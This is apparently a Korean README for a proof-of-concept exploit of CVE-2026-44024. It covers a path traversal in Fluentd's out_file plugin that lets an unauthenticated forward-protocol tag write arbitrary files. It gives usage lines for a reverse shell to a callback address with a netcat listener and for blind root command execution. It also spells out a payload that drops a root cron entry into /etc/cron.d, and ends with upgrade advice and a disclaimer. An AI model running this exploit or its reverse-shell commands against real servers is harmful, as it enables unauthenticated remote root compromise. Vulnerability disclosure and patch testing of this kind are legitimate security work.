
CVE-2026-44024에 대한 개념 증명(PoC) 익스플로잇으로, 조작된 in_forward 태그를 사용하여 Fluentd의 out_file 경로 탐색(path traversal)을 통해 임의의 파일을 작성하고 명령 실행을 유발합니다.
out_file ${tag} 경로 탐색 임의 파일 쓰기Fluentd의 out_file 플러그인에서 ${tag} 플레이스홀더를 통한
인증 없는 임의 파일 쓰기 취약점.
out_file은 운영자가 ${tag} 플레이스홀더로 출력 경로를 템플릿화할 수 있게 합니다
(예: path /var/log/fluent/${tag}). Output#extract_placeholders
(lib/fluent/plugin/output.rb)는 ../을 검사하지 않고(CWE-22) 이벤트의 태그를 경로에
대입합니다:
if str.include?('${tag}')
rvalue = rvalue.gsub('${tag}', metadata.tag) # 공격자 제어 태그, ../ 검사 없음
in_forward 프로토콜(포트 24224)로 도착하는 이벤트는 와이어 메시지에서 그대로 가져온
태그를 전달하며, allow_anonymous_source는 기본적으로 true입니다. 따라서 인증 없는
공격자는 ../../../../../../etc/cron.d/pwn 같은 태그를 설정해 설정된 디렉터리를 벗어나
fluentd 프로세스 사용자 권한으로 임의의 절대 경로에 파일을 쓸 수 있습니다.
<= 1.19.21.19.3 (${tag} 확장 전에 태그의 ..//절대 경로 구성 요소를 거부, PR #5391)in_forward이지 in_http가 아닙니다in_http는 URL 경로에서 path.split('/').join('.')로 태그를 파생하는데, 이는 모든 /를
.으로 바꿉니다 — 따라서 Linux에서는 ../이 살아남을 수 없습니다 (%2f도 디코딩되지
않습니다). 태그를 바이트 그대로 전달하는 것은 forward 프로토콜(24224) 뿐입니다. 이
익스플로잇은 해당 프로토콜의 일부(msgpack [tag, time, record] 메시지)만을 작은 내장
인코더 — 의존성 없음으로 말합니다.
Python 3 표준 라이브러리만 필요합니다. 대상은 path에 ${tag}가 포함된 out_file과
익명 in_forward 소스(기본값)로 취약한 Fluentd를 실행 중이어야 합니다. 쓰기를 깔끔한 cron
드롭으로 전환하려면 파일 이름/콘텐츠를 변형하지 않는 out_file(예: add_path_suffix false,
append true, timekey 없음, single_value 형식)이 필요합니다 — 그렇지 않으면 파일 쓰기를
사용해 알려진 경로의 파일을 덮어씁니다.
# 리버스 셸 (먼저 리스너 시작: nc -lvnp 4444). cron으로 약 60초 내에 실행됩니다.
python3 exploit.py 10.10.10.10 --shell 10.10.14.5:4444
# 루트로 블라인드 명령 실행
python3 exploit.py 10.10.10.10 -c 'id > /tmp/pwned'
# 사용자 지정 forward 포트
python3 exploit.py 10.10.10.10:24224 --shell 10.10.14.5:4444
포트 24224로 forward 이벤트 ["../../../../../../etc/cron.d/pwn", <time>, {"msg": "* * * * * root <cmd>"}]를
전송합니다. out_file은 ${tag}를 확장하여 /var/log/fluent/../../../../../../etc/cron.d/pwn =
/etc/cron.d/pwn을 만들고, (single_value 형식에서) 레코드의 msg를 그대로 쓰므로 → 유효한
cron 라인이 됩니다. cron은 약 60초 내에 fluentd 사용자(fluentd가 root로 실행되는 경우 root)로
그것을 실행합니다.
Fluentd를 1.19.3 이상으로 업그레이드하세요; forward 포트를 신뢰할 수 없는 네트워크에
노출하지 마세요(공유 키 인증 / allow_anonymous_source false 활성화); fluentd를 root로
실행하지 마세요; 신뢰할 수 없는 입력에 대해 출력 경로에서 ${tag} 사용을 피하세요.
공인된 보안 테스트 및 교육 목적으로만 사용하세요. 소유하거나 테스트할 명시적 권한이 있는 시스템에 대해서만 사용하십시오.